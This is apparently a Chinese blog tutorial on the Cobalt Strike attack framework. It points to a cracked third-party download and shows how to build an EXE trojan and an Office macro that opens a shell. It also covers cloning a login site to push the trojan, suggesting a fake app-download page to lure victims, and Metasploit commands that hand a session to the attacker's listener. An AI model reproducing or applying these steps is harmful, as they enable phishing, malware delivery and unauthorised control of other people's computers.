文章目录
【渗透工具篇】Cobalt Strike使用教程
Cobalt Strike简介
这是来自于Cobalt Strike官网的介绍。
Cobalt Strike 是威胁模拟软件。使用渗透测试人员可用的最强大的网络攻击套件之一对现代企业执行有针对性的攻击。这不是合规性测试。
Cobalt Strike功能
模块化攻击框架:
Cobalt Strike 提供了一系列内置模块,如端口转发、漏洞利用、凭据收集、横向移动等,以帮助攻击者快速构建攻击链。
交互式控制台:
Cobalt Strike 提供了一个交互式控制台,可以通过命令行界面与被攻击主机进行交互,执行命令和操作。
受控主机管理:
Cobalt Strike 支持多种受控主机管理方式,包括独立的 Beacon 代理、Meterpreter Shell、SSH Shell 等。
数据收集与分析:
Cobalt Strike 支持各种数据收集和分析功能,如文件系统浏览、网络流量捕获、日志记录和数据分析等。
团队协作:
Cobalt Strike 支持多用户协作,可以让多个安全专业人员同时进行攻击,以提高效率和效果。
客户端攻击:
Cobalt Strike 支持多种客户端攻击技术,包括钓鱼攻击、恶意文档、恶意链接等,可以通过社会工程学手段欺骗用户,获取用户的登录凭据或执行恶意代码。
域渗透:
Cobalt Strike 支持针对域环境的攻击,包括 Kerberos 窃取、Pass the Hash、Golden Ticket 等攻击技术,可以获取域管理员权限,控制整个域环境。
安全培训和演练:
Cobalt Strike 支持安全演练和培训功能,可以模拟各种攻击场景,帮助安全团队提高应对能力和意识。
Cobalt Strike安装
一、下载地址
官网:https://www.cobaltstrike.com/
https://github.com/k8gege/Aggressor/releases/tag/cs
下载之后,压缩包解压密码是:k8gege.org
这是我找到的一个Cobalt Strike的下载地址,有没有后门我是不知道的,建议在虚拟机运行,使用时出问题本人一概不负责。
我下载的是这个,解压到了kali中可以使用。
二、安装教程
我解压到了kali的/root/CobaltStrike目录中去的。
Cobalt Strike是分为客户端和服务器的,我们需要先开启服务器然后再开启客户端。
首先进入Cobalt Strike的安装目录,然后执行以下代码,服务器端就开启了,要看准开启后的端口号是什么,在登陆客户端的时候需要输入,这里的密码也是登陆客户端时要输入的密码。
开启服务端:
./teamserver 服务端ip地址 密码
开启客户端:
java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Host我写的是本机地址,Port要与服务端相对应,User可以随便输入,Password要输入服务端开启时的密码。
登陆后界面:
登陆后是这个样子,但是你们第一次登陆里面是没有东西的,我这里面给别的主机注入了木马文件。
三、使用实例
如果你不懂英文,可先跳到第四章,对每个功能有一个基础翻译。
Ⅰ.生成windows下exe木马
利用Cobalt Strike制作一个木马放到目标主机上进行测试。
1.设置监听器
这里我name设置的是tang,端口号是10086.
2.创建木马文件
这是创建一个针对windows系统的exe可执行木马文件。
这里选择监听器和输出格式,可以根据自己需求来选择。
选择一个目录保存就可以了,名字可以自己随意更改,这个木马可以用来网站钓鱼或者邮件钓鱼等一系列操作。
我们可以把我们这个木马程序放到一个win10操作系统上来测试一下效果。
我把木马文件名字artifact.exe修改为exp.exe了,然后放置到了win10上。
在win10上创建一个隔离文件的目录,并且设置排除项,双击打开。
3.后渗透阶段
这时候我们的Cobalt Strike就会收到一条目标主机被掌控的信息,这时候就可以做很多操作了,比如端口扫描,查看进程,截屏等一系列操作。
比如我们截个屏。
点击View下的Screenshots可以查看我们的截屏。
同时也可以在Cobalt Strike安装目录下面找到截屏的文件。
如果你发现自己截屏后很久才能收到截屏信息,那么你可能少了一个设置。在目标主机上右击选择Session中是Sleep,把60该成1就可以很快收到目标主机回应信息的时间(默认是60)。
Ⅱ.克隆网站捆绑木马
1.克隆网站
首先找到Attacks–Web Drive-by–Clone Site克隆网站。
第一个参数是你要克隆的网站,CS只能克隆http网站。
第二个参数随意添加,因为是一个带登陆的页面,所以我添加了一个login
ip和端口是自己添加的,可修改。
Attack我们等会儿就会用到。
点击Clone这样我们就克隆出来了一个网站,是马上就能用的,并且跟原本的一模一样。
这也就是我们克隆的了。
2.木马捆绑
现在我们对这个网址进行一个木马捆绑。
点击Attacks–Web Drive-by–Host File来生成一个木马网址。
File找到我们之前生成的windows木马文件。
Local URI给木马设置一个吸引人下载的名称。
然后点击Launch就可以生成一个地址了。
打开我们克隆网站的页面。
Clone URL:克隆一个我们想要的网站,我这里没换,大家可以换一下。
Local URI:自己设置一个地址。
我们点击Attack后面的三个点,就可以找到我们刚才生成的木马网站地址。
克隆成功后地址和不加载木马的网址是一样的。
这样再打开这个网址的时候就会直接弹出下载木马。
你可以专门克隆一个app下载的网站,木马名称起成app的名称,这样可以诱导人下载。
Ⅲ、CS宏利用
1.宏概述
office宏,译自英文单词Macro。宏是微软公司为其OFFICE软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。
宏病毒是专门针对广泛使用的office办公软件而设计的。OFFICE办公软件的病毒是宏病毒,宏病毒主要寄存在文档或模板的宏中的计算机病毒,打开文件就会被激活执行,所有自动保存的文档都会“感染”上这种宏病毒。
2.设置监听
首先在CS中设置一个监听器,设置好ip和端口号。
3.创建宏
然后选择Attacks–Packages–MS office Macro创建宏
选择我们的监听器后点击Generate。
创建好的是一段宏代码,我们点击Copy Macro复制走这穿代码。
4.使用宏
打开一个word文档,找到视图–宏,然后创建。
创建后把里面原本的代码全部清除,然后粘贴我们刚才复制的代码,保存退出就可以了。
再打开这个word文档时候,我们就可以直接获取目标主机的shell权限。
Ⅳ、msf和cs联动
我们首先在cs中设置一个监听器设置好ip和端口号还有payload。
然后返回我们的msf,这时候我的msf是已经拿到了一个win7权限,我们现在想把后续渗透工作传递给CS应该怎么做呢。
首先我先background
命令将当前会话转入后台。
background
- use exploit/windows/local/payload_inject 使用msf注入功能
- set payload windows/meterpreter/reverse_http 设置payload
- set LHOST 192.168.102.129 设置CS服务器地址
- set LPORT 10086 设置CS监听器端口号
- set session 1 设置会话
- set disablepayloadhandler true 当前msf不接受数据(要传给CS)
- run
这时候CS就收到了我们被入侵的计算机。
四、界面功能介绍(翻译参考)
Cobalt Strike 钴元素打击
- New Connection 新建连接,支持连接多个服务器端
- Preferences 发 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
- isualization 主要展示输出结果的视图
- VPN Interfaces 设置VPN接口
- Listenrs 创建监听器
- Script Manager 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏, Beacon 命令行,提权脚本等
- Close 退出连接
View 视图
- Application 应用程序
- Password Credentials 密码凭证
- Download List 下载列表
- Event log 事件日志
- Keylogger 键盘记录
- Proxy forwarding 代理转发
- Screenshot 屏幕截图
- Script Console 脚本控制台
- Target list 目标列表
- Web logs Web日志
ATTacks 攻击
Packages 后门
- HTML Application 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马 文件
- MS Office Macro 生成office宏病毒文件
- Payload Generator 生成各种语言版本的payload
- USB/CD AutoPlay 生成利用自动播放运行的木马文件
- Windows Dropper 捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
- Windows Executable 生成可执行exe木马
- Windows Executable(Stageless) 生成无状态的可执行exe木马
Web Drive-by
- Manage 对开启的web服务进行管理
- Clone Site 克隆网站,可以记录受害者提交的数据
- Host File 提供文件下载,可以选择Mime类型
- Scripted Web Delivery 为payload提供web服务以便下载和执行
- Signed Applet Attack 使用java自签名的程序进行钓鱼攻击
- Smart Applet Attack 自动检测java版本并进行攻击
- System Profiler 用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish
- 钓鱼邮件攻击
Reporting 报告
- Activity Report 活动报告
- Hosts Report 主机报告
- Indicators of Compromise IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
- Sessions Report 会话报告
- Social Engineering Report 社会工程报告:包括鱼叉钓鱼邮件及点击记录
- Tactics, Techniques, and Procedures 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
- Reset Data 清空数据
Cobalt Strike 的数据模型将其所有的状态和状态元数据存储在 data/ 文件夹。 data/ 文 件夹存在在你运行 Cobalt Strike 团队服务器的那个文件夹里。
要清除 Cobalt Strike 的数据模型:停止团队服务器,删除 data/ 文件夹及其内容。当你 下次启动团队服务器的时候,Cobalt Strike 会重建 data/ 文件夹。
如果你想要存档数据模型,请停止团队服务器,然后使用你喜欢的程序来将 data/ 文件夹及其 文件存储在其他位置。
要还原数据模型,请停止团队服务器,然后将旧内容还原到 data/ 文件 夹。
通过 Reporting → Reset Data 可以在不重启团队服务器的情况下重置 Cobalt Strike 的数据模型。
- Export Data 导出数据
如果你想导出 Cobalt Strike 的数据,通过 Reporting → Export Data 。Cobalt Strike 提供两种选项:把数据导出为 TSV 或 XML 文件。Cobalt
Strike 客户端的导出数 据功能会融合来自你当前连接的所有团队服务器的数据
Help 帮助
- Homepage 官方主页
- Support 技术支持
- Arsenal 武器库
- System information 系统信息
- About 关于
Toolbar 工具栏
1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于
五、后续
Cobalt Strike是一款方便团队合作的工具,当然,单人使用它的威力也是十分强大,我站在一个团队的角度来谈对这款工具的理解。
攻击流程
Cobalt Strike可以设置多个服务器和多个客户端,Cobalt Strike 侧重于后渗透阶段。后渗透即为完成想要在目标网络中达到的目的一个攻击步骤。如数据挖掘、监视用户、键盘记录、根据用户活动确定目标机会等。
此攻击流程也可以用下图这个’攻击链’来概括:
攻击链和 CS 手册中的章节是对应的:
- 操作
- 基础设施
- C2
- 武器化
- 初始权限
- 后渗透
- 权限提升
- 横向移动
- Pivoting
团队合作
-
Cobalt Strike 是为分布式操作而设计的
-
客户端可以同时连接到多个团队服务器
- 如 beacon 团队服务器、钓鱼团队服务器、侦查团队服务器、攻击团队服务 器、后渗透团队服务器等多个团队服务器,就是分解整个攻击链
- 每个团队服务器有单独的数据模型和日志
-
分布式操作模型可以避免行动中的单点故障/失败,如果仅有一台团队服务器, 那么这一台攻击主机可能会被识别或封锁
结合攻击链的多团队服务器模型:
分解整个攻击链,让不同的团队服务器承担不同的攻击环节和功能:
如 beacon 团队服务器、钓鱼团队服务器、侦查团队服务器、攻击团队服务器、后渗透 团队服务器等多个团队服务器。